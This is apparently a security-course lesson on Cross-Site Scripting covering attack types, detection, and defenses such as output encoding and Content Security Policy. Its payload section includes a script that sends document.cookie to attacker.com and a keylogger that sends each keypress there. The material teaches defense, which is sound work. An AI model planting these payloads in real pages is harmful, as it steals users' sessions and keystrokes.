On this page
After this lesson you can
- Explain what Cross-Site Scripting (XSS) is in your own words.
- Describe how the attack or technique works.
- Walk through a real-world example from start to finish.
- Recognise it using the detection techniques in this lesson.
- Apply the prevention methods described here.
- Read and run the 3 Python scripts in a lab you control.
Description
Cross-Site Scripting (XSS) is a client-side code injection attack where attackers inject malicious scripts into trusted websites. When users visit the compromised page, the script executes in their browser, potentially stealing cookies, session tokens, or performing actions on their behalf.
Attack Types
1. Reflected XSS (Non-Persistent)
- Malicious script is part of the request (URL)
- Server reflects the script in response
- Requires user interaction (clicking link)
2. Stored XSS (Persistent)
- Malicious script is stored on the server
- Affects all users viewing the compromised page
- Most dangerous type of XSS
3. DOM-based XSS
- Vulnerability in client-side JavaScript
- Server never receives the malicious payload
- Uses document.location, document.URL, etc.
Detection Methods
Manual Detection
- Input Testing: Insert script tags, HTML events
- Context Analysis: Check where input appears
- DOM Inspection: Review JavaScript code
- Alert Boxes: Test with alert(1) payloads
Automated Detection
- XSS Detector - Automated XSS scanning
- CSP Analyzer - Content Security Policy analysis (planned)
Prevention Strategies
Primary Defenses
- Output Encoding (Context-aware)
- Content Security Policy (CSP)
- Input Validation (Whitelist approach)
- HTTPOnly Cookies (Prevent cookie theft)
Prevention Examples
- Output Encoding - Context-aware encoding
- CSP Headers - Content Security Policy implementation (planned)
Attack Flow
flowchart LR
A[Attacker] -->|Injects Malicious Script| B[Vulnerable Web Application]
B --> C[Victim Visits Page]
C --> D[Script Executes in Browser]
D --> E[Steals Sensitive Data]
E --> F[Sends Data Back to Attacker]
Best Practices
For Developers
// GOOD - Use textContent instead of innerHTML
element.textContent = userInput;
// BAD - Vulnerable to XSS
element.innerHTML = userInput;
Content Security Policy
Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted.cdn.com;
style-src 'self';
img-src 'self' data:;
Example Payloads
Basic XSS
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
Cookie Stealing
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Keylogging
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log?key='+e.key);
});
</script>
Warning
Only test Cross-Site Scripting (XSS) vulnerabilities on applications you own or have explicit permission to test.
Unauthorized testing is illegal and unethical.
Practical Python labs
Open a script to read its source and copy the run commands. Run security tools only on systems you own or have written permission to test.
Check what you have covered
These questions are generated from this lesson's category, standards mapping and scripts. They test where things live in the guide, not how well you understand the concepts. Nothing is saved or tracked.